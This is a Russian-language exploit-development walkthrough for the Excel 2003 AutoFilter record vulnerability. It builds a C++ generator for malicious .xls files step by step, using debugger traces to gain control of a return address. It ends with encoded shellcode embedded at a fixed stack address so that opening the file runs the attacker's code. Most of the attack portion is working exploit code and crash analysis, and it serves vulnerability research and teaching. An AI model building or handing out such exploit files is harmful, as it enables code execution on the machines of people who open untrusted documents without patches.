Автофильтр Excel: произвольный код на свободе

Слышали уже предупреждение?

Remote exploitation of an input validation error in the handling of
AutoFilter records in Excel BIFF8 format spreadsheet files by Microsoft Corp.'s
Excel 2003 could allow an attacker to execute arbitrary code in the context of
the current user. The AutoFilter feature of Excel allows data not matching a specified
criteria to be filtered out. By creating a document containing a specially
crafted filter record, an attacker is able to cause an invalid memory access
leading to arbitrary code execution.

Попробуем разобраться с не желающими устанавливать обновления
(как и не имеющими такой возможности), с тем чем
чреваты безобидные действия вида чтения документов из сомнительных источников. 

Для начала изучим чужой опыт в виде описания формата Biff.

Файл представляется цепочкой записей переменной длины имеющих единый шаблон структуры:

Документ начинается записью типа Bof, завершается записью
Eof. Увы - в приведённом документе структура записи AutoFilter не описана, даже
не указан её код. Придется в очередной раз спросить гугл, в итоге он приводит к
весьма любопытному исходнику.

Пришло время набросать
генератор файла. Для начала создадим только заголовок и маркер конца потока,
дабы убедиться в правильности выводов:

<br /> #include <string><br /> #include <stdio.h><br /> #include <stdlib.h><br /> #include <string.h><br /> #include <sstream><br /> #include <fstream></p> <p>char const *file = "showme.xls";</p> <p>void main(int argc, char **argv)<br /> {<br /> if(argc < 1 && strcmp(argv[1],"-b") == 0)<br /> {<br /> if(argc >=3)<br /> {<br /> file = argv[2];<br /> }<br /> printf("[+] exploit file:%s\n", file);<br /> }</p> <p> std::ostringstream oss;<br /> std::fstream fs;<br /> fs.open(file,std::ios_base::out | std::ios_base::trunc| std::ios_base::binary);</p> <p> if(fs.fail())<br /> {<br /> printf("[-] Open file error!\n");<br /> return;<br /> }</p> <p> short shValue;<br /> char *pshValue=(char *)&shValue;<br /> int iValue;<br /> char *piValue=(char *)&iValue;</p> <p> {<br /> // запись Bof<br /> shValue=0x809, oss.write(pshValue,2); // type<br /> shValue=0x10, oss.write(pshValue,2); // rec size<br /> shValue=0x600, oss.write(pshValue,2);<br /> shValue=0x10, oss.write(pshValue,2);<br /> shValue=0x1fb8, oss.write(pshValue,2);<br /> shValue=0x07cd, oss.write(pshValue,2);<br /> iValue=0xc, oss.write(piValue,4);<br /> iValue=0x206, oss.write(piValue,4);<br /> }</p> <p> {<br /> // запись AutoFilter<br /> }</p> <p> {<br /> // запись Eof<br /> shValue=0xA, oss.write(pshValue,2); // type<br /> shValue=0, oss.write(pshValue,2); // size<br /> }</p> <p> fs << oss.str();<br /> fs.close();</p> <p> printf("[+] write to %s success!\n", file);<br /> }<br />

Запускаем генератор после компиляции, отдаем
результат на съедение экселю - тот показывает пустую страницу, что и ожидалось.

Теперь пришло время подготовки зловредной записи.
Теоретически запись может иметь 64K данных, однако поделюсь
опытом - обычно записи с блоком данных, размер которого более 0x2020 байт попросту игнорируются.
Дописываем:

<br /> {<br /> // запись AutoFilter<br /> std::ostringstream afr;</p> <p> size_t FillerSize=0x2020; // размер блока данных<br /> std::string filler; // буфер для данных<br /> filler.resize(FillerSize,'A'); // такие для начала данные<br /> afr.write(filler.c_str(),filler.size()); // всё во временный поток</p> <p> // заголовок записи<br /> shValue=0x9e, oss.write(pshValue,2); // код записи<br /> shValue=afr.tellp(), oss.write(pshValue,2); // размер блока данных<br /> // дописываем данные<br /> oss<< afr.str();<br /> }<br />

На созданный файл эксель реагирует не столь благодушно:

Сообщать об ошибке совершенно не входит в наши планы, поэтому
предложим ему отдаться отладчику. На этот раз всплывает следующее окно:

Из текста следует, что решил он записать нечто по адресу 0x000e4658, а
туда нельзя. Теперь нужно выяснить, что его побудило обратиться именно к этому
адресу, если он зависит от входных данных - то им можно управлять, а если еще он
и записывает туда что-то из входных данных - возникает некоторая вероятность радикального влияния на исполняемый процесс,
вплоть до перехвата управления. Посмотрим на происходящее отладчиком:

Знакомые всё цифры! В EBX размер блока данных записи, ESI указывает на бред в виде
'AAAAAAA....', стало быть эксель занят обработкой той самой записи.
Смотрим сбойную команду:

301999C7 mov         dword ptr [edi+14h],ecx

Попробуем разобраться, как регистры обрели текущие значения.
Единичка в ECX получается из наших данных:

301999B2 mov         cl,byte ptr [esi+2] ; cl=0x41
...
301999C4 and         ecx,3 ; ecx=1

В EDI параметр текущей функции, погружаемый в стек последним:

301999BE mov         edi,dword ptr [ebp+8]

Теперь посмотрим на код вызывающей сбой
функции с целью прояснить
происхождение значения в EDI:

30199A9A movzx       eax,word ptr [esi]			;	eax=0x4141	'AA'
30199A9D mov         ecx,dword ptr ds:[3085C4C0h]	;	ecx=??
30199AA3 imul        eax,eax,38h			;	eax=0x000E4638
30199AA6 mov         ecx,dword ptr [ecx+21Ch]		;	ecx=??
30199AAC lea         edi,[ecx+eax+0Ch]			;	edi=0xe4644 - по факту
30199AB0 push        esi  
30199AB1 push        edi  
30199AB2 call        301999A7

Как видим, EDI вычисляется по входным данным, стало быть возможна
контролируемая запись в память! При расчете адреса несколько раз
модифицируется ECX, поэтому (дабы не ошибиться)
установим точку останова на
0x30199A9A и запустив эксель откроем файл заново.

Дополним значения регистров:

30199A9A movzx       eax,word ptr [esi]			;	eax=0x4141	'AA'
30199A9D mov         ecx,dword ptr ds:[3085C4C0h]	;	ecx=0x00DA2178
30199AA3 imul        eax,eax,38h			;	eax=0x000E4638
30199AA6 mov         ecx,dword ptr [ecx+21Ch]		;	ecx=0
30199AAC lea         edi,[ecx+eax+0Ch]			;	edi=0x0E4638+0xC=0xe4644
30199AB0 push        esi  
30199AB1 push        edi  
30199AB2 call        301999A7

Ну вот, зависимость оказалась достаточно простой. Согласно ей можно
изменять значения двойных слов в диапазоне 0xc...0x37FFD4 c шагом 0x38
значениями 0...3. Немного, но:

• хоть что-то;
• адресное пространство модифицируемого двойного слова
  должно принадлежать сегменту доступному для записи;
• нужно определить какая часть записи влияет на адрес, а
  какая на значение.

Пришло время выяснять структуру записи. Для начала изменим код
генерации заполнителя для придания ему разнообразия:

<br /> {<br /> // запись AutoFilter<br /> std::ostringstream afr;</p> <p> size_t FillerSize=0x2020; // размер блока данных<br /> std::string filler; // буфер для данных<br /> for(int i=0; i < 0x40; i++) // данные теперь такие<br /> {<br /> filler.push_back(0x20+i);<br /> }<br /> while(filler.size() < FillerSize) // множим на всю запись<br /> {<br /> filler+=filler;<br /> }<br /> filler.resize(FillerSize);<br /> afr.write(filler.c_str(),filler.size()); // всё во временный поток</p> <p> // заголовок записи<br /> shValue=0x9e, oss.write(pshValue,2); // код записи<br /> shValue=afr.tellp(), oss.write(pshValue,2); // размер блока данных<br /> // дописываем данные<br /> oss<< afr.str();<br /> }<br />

Точка останова взведена, рестартуем процесс, видим вот что:

Есть основания полагать, что на адрес по которому выполняется запись
влияют первые два байта, пусть это будет Dummy0. Попробуем изменить данные в верхушке стека,
поскольку этот сегмент памяти заведомо имеет разрешение на запись. Адрес
вычисляется как Dummy0 * 0x38 + 0xC + 0x14, где 0xC и 0x14 константы команд:

30199AAC   LEA EDI,DWORD PTR DS:[ECX+EAX+C]
....
301999C7   MOV DWORD PTR DS:[EDI+14],ECX

Тогда при желании изменить память вблизи адреса 0x127E2C Dummy0=(0x127E2C - 0xC - 0x14)/0x38=0x5489,
обратный пересчет дает 0x5489 * 0x38 + 0xC + 0x14 = 0x127E18. Проверяем:

<br /> {<br /> // запись AutoFilter<br /> std::ostringstream afr;</p> <p> shValue=0x5489, afr.write(pshValue,2); // Dummy0</p> <p> size_t FillerSize=0x2020; // размер блока данных<br /> std::string filler; // буфер для данных<br /> for(int i=0; i < 0x40; i++) // данные теперь такие<br /> {<br /> filler.push_back(0x20+i);<br /> }<br /> while(filler.size() < FillerSize) // множим на всю запись<br /> {<br /> filler+=filler;<br /> }<br /> afr.write(filler.c_str(),FillerSize-afr.tellp()); // всё во временный поток</p> <p> // заголовок записи<br /> shValue=0x9e, oss.write(pshValue,2); // код записи<br /> shValue=afr.tellp(), oss.write(pshValue,2); // размер блока данных<br /> // дописываем данные<br /> oss<< afr.str();<br /> }<br />

Запускаем эксель клацая по созданному файлу - открывается без сбоев. Смотрим на это дело отладчиком:

Ну что, фокус удался! Понаблюдаем за происходящим дальше, и вот тут возникает такое чудо:

Сравните содержимое стека по адресу 0x00127E20 с предыдущим дампом... Адрес возврата изменён!
А что будет с случае если по командам

30199A0B   MOV AL,BYTE PTR DS:[ESI+E]
30199A0E   MOV BYTE PTR DS:[EDI+1C],AL

выполнялась бы пересылка не байта а двойного слова? Адрес возврата был бы перезаписан полностью,
а это означает перехват потока команд, поскольку адрес возврата в этом случае брался бы из входных данных!

Для этого копируемое в стек поле должно иметь размер не менее 4 байт, и во входных данных быть либо
непрерывным, либо составным - не критично. Посмотрим состояние стека на момент выхода из процедуры:

Прежде всего как видно - переписан EBP. Кроме того, в стеке минимум 4 двойных слова, похожих на наши данные.
Стоп! EBP переписан, и дальнейшее исполнение должно привести к сбою, проверим, однако?

Сбоит, даже раньше чем ожидалось. Но почему с командной строки файл открывается вполне успешно? Ответ пока
напрашивается один - при запуске с командной строки стек отличается от того что мы видим в отладчике.
Пустим эксель, открываем файл через меню - сбой! Возникает проблема - как выяснить конфигурацию стека при старте
из командной строки? Можно позвать на помощь SoftIce, или приаттачиться к процессу, когда сбой уже произошел.
Попутно попытаемся определить начало чувствительной для выполнения области стека при его перезаписи.
Посему смодифицируем генератор записи с целью потыкаться наобум, эдакий fuzz:

<br /> for(unsigned it=0x5400;it < 0x540A;it++)<br /> {<br /> // запись AutoFilter<br /> std::ostringstream afr;<br /> std::string filler;</p> <p> size_t FillerSize=0x2020;<br /> filler.assign((char *)&it,sizeof(it));</p> <p> while(filler.size() < FillerSize)<br /> {<br /> filler+=filler;<br /> }</p> <p> afr.write(filler.c_str(),FillerSize);</p> <p> // заголовок записи<br /> shValue=0x9e, oss.write(pshValue,2); //record id<br /> shValue=afr.tellp(), oss.write(pshValue,2); // size<br /> // данные<br /> oss<< afr.str();<br /> }<br />

Ничего необычного не происходит, видимо эта область слишком высоко.
Изменим исследуемый диапазон на 0x5410...0x5420. Началось!

Сбой произошел на команде

30199AB7 mov         dword ptr [edi],eax

ESP = 0x001263DC. Ставим точку останова в отладчике, пускаем эксель, открываем файл.
На этой команде ESP = 0x00127E2C, следовательно при чтении файла из меню указатель стека сдвинут на 0x1A50
байт в сторону старших адресов.

Теперь посчитаем. Адрес возврата хранимый при загрузке файла из меню в стеке по адресу
0x00127E20 при загрузке с командной строки должен располагаться по адресу 0x00127E20-0x1A50=0x001263D0.
Можно ли его переписать? Dummy0=(0x001263D0 - 0xC - 0x14)/0x38=0x5410, обратный пересчет дает 0x1263A0.
Но 0x5410 только что проверяли, бродим где-то рядом. Поправим диапазон на 0x5411...0x5420, и...

Это означает, что наши данные стали частью кода. Что дальше? А теперь пора выявить поля отвечающие за
адрес передачи управления:

<br /> {<br /> // запись AutoFilter<br /> std::ostringstream afr;</p> <p> shValue=0x5411, afr.write(pshValue,2); // Dummy0 - индекс блока в стеке</p> <p> size_t FillerSize=0x2020; // размер блока данных<br /> std::string filler; // буфер для данных<br /> for(int i=0; i < 0x40; i++) // данные теперь такие<br /> {<br /> filler.push_back(0x20+i);<br /> }<br /> while(filler.size() < FillerSize) // множим на всю запись<br /> {<br /> filler+=filler;<br /> }<br /> afr.write(filler.c_str(),FillerSize-afr.tellp()); // всё во временный поток</p> <p> // заголовок записи<br /> shValue=0x9e, oss.write(pshValue,2); // код записи<br /> shValue=afr.tellp(), oss.write(pshValue,2); // размер блока данных<br /> // дописываем данные<br /> oss<< afr.str();<br /> }<br />

Смотрим реакцию:

Вот теперь можно сделать вывод о смещении в записи блока отвечающего за адрес, на который будет передано
управление:

<br /> {<br /> // запись AutoFilter<br /> std::ostringstream afr;</p> <p> shValue=0x5411, afr.write(pshValue,2); // Dummy0 - индекс блока в стеке<br /> iValue=0xd2d2d2d2, afr.write(piValue,4); // Dummy2<br /> iValue=0xd4d4d4d4, afr.write(piValue,4); // Dummy4 - адрес передачи управления</p> <p> size_t FillerSize=0x2020; // размер блока данных<br /> std::string filler; // буфер для данных<br /> for(int i=0; i < 0x40; i++) // данные теперь такие<br /> {<br /> filler.push_back(0x90);<br /> }<br /> while(filler.size() < FillerSize) // множим на всю запись<br /> {<br /> filler+=filler;<br /> }<br /> afr.write(filler.c_str(),FillerSize-afr.tellp()); // всё во временный поток</p> <p> // заголовок записи<br /> shValue=0x9e, oss.write(pshValue,2); // код записи<br /> shValue=afr.tellp(), oss.write(pshValue,2); // размер блока данных<br /> // дописываем данные<br /> oss<< afr.str();<br /> }<br />

но вот куда можно его передать? Поищем наш бред в памяти. К примеру вот, в стеке.

Пусть это будет адрес 0x001274BC. А что туда поместить?
То, что называется полезной нагрузкой - pyload.
Небольшой код, выполняющий некоторые действия. Методика разработки полезной нагрузки - отдельная тема,
описывать её здесь - надолго оттянуть интересный
(на мой
взгляд)  финал. Воспользуемся готовым кодом,
тогда запись будет формироваться так:

<br /> {<br /> // запись AutoFilter<br /> char scode[] =<br /> "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcf"<br /> "\xeb\x4d\xdf\x83\xeb\xfc\xe2\xf4\x33\x03\x09\xdf\xcf\xeb\xc6\x9a"<br /> "\xf3\x60\x31\xda\xb7\xea\xa2\x54\x80\xf3\xc6\x80\xef\xea\xa6\x96"<br /> "\x44\xdf\xc6\xde\x21\xda\x8d\x46\x63\x6f\x8d\xab\xc8\x2a\x87\xd2"<br /> "\xce\x29\xa6\x2b\xf4\xbf\x69\xdb\xba\x0e\xc6\x80\xeb\xea\xa6\xb9"<br /> "\x44\xe7\x06\x54\x90\xf7\x4c\x34\x44\xf7\xc6\xde\x24\x62\x11\xfb"<br /> "\xcb\x28\x7c\x1f\xab\x60\x0d\xef\x4a\x2b\x35\xd3\x44\xab\x41\x54"<br /> "\xbf\xf7\xe0\x54\xa7\xe3\xa6\xd6\x44\x6b\xfd\xdf\xcf\xeb\xc6\xb7"<br /> "\xf3\xb4\x7c\x29\xaf\xbd\xc4\x27\x4c\x2b\x36\x8f\xa7\x1b\xc7\xdb"<br /> "\x90\x83\xd5\x21\x45\xe5\x1a\x20\x28\x88\x2c\xb3\xac\xc5\x28\xa7"<br /> "\xaa\xeb\x4d\xdf";</p> <p> std::string bufPyload;<br /> bufPyload.assign(scode,sizeof(scode));</p> <p> std::ostringstream afr;</p> <p> shValue=0x5411, afr.write(pshValue,2); // Dummy0 - индекс блока в стеке<br /> iValue=0xd2d2d2d2, afr.write(piValue,4); // Dummy2<br /> iValue=0x001274BC, afr.write(piValue,4); // Dummy4 - адрес передачи управления</p> <p> size_t FillerSize=0x2020-bufPyload.size()-afr.tellp(); // размер блока данных</p> <p> std::string filler; // буфер для заполнителя<br /> filler.resize(FillerSize,'\x90');<br /> afr.write(filler.c_str(),filler.size());<br /> afr.write(bufPyload.c_str(),bufPyload.size()); // во временный поток</p> <p> // заголовок записи<br /> shValue=0x9e, oss.write(pshValue,2); // код записи<br /> shValue=afr.tellp(), oss.write(pshValue,2); // размер блока данных<br /> // дописываем данные<br /> oss<< afr.str();<br /> }<br />

Ну, посмотрели полученный документ? А ведь это мог быть не калькулятор...

Обратите внимание - для выявления данного эффекта не пришлось долго возиться с отладчиком, отслеживая
растекание по памяти входных данных. Конечно, данная методика не вскроет всех уязвимостей, но в сочетании
с изучением алгоритма обработки данных файлового буфера отладчиком поможет
в обнаружении далеко не одного сюрприза.